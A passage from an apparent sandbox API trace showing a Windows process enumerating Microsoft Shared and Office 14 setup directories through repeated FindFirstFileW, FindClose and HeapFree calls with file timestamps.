ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.733] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.733] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.733] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.734] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.734] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.734] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.735] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.735] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.735] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.735] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.735] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.735] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.735] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.735] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.736] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.736] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.737] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.737] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.737] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.737] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.737] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.737] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.738] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.738] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.738] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.738] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.738] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.738] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.741] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.741] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.742] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.742] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.742] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.742] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8becbab0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8becbab0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.746] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.747] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.750] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.750] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8c3b4810, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8c3b4810, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.755] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.756] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8c5c9b50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8c5c9b50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.758] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.759] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8c6ae390, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8c6ae390, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.763] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.764] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8c615e10, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8c615e10, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.766] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.767] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8ccedd50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8ccedd50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.769] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.770] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cd3a010, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cd3a010, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d58 [0272.772] FindClose (in: hFindFile=0x806d58 | out: hFindFile=0x806d58) returned 1 [0272.773] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cd60170, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cd60170, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.840] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.844] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cf03090, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf03090, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.863] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.864] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8cdac430, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cdac430, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.865] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.866] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8cdd2590, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cdd2590, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.866] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.867] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8cf291f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf291f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.868] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.869] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8cf291f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8cf291f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.869] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.870] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, 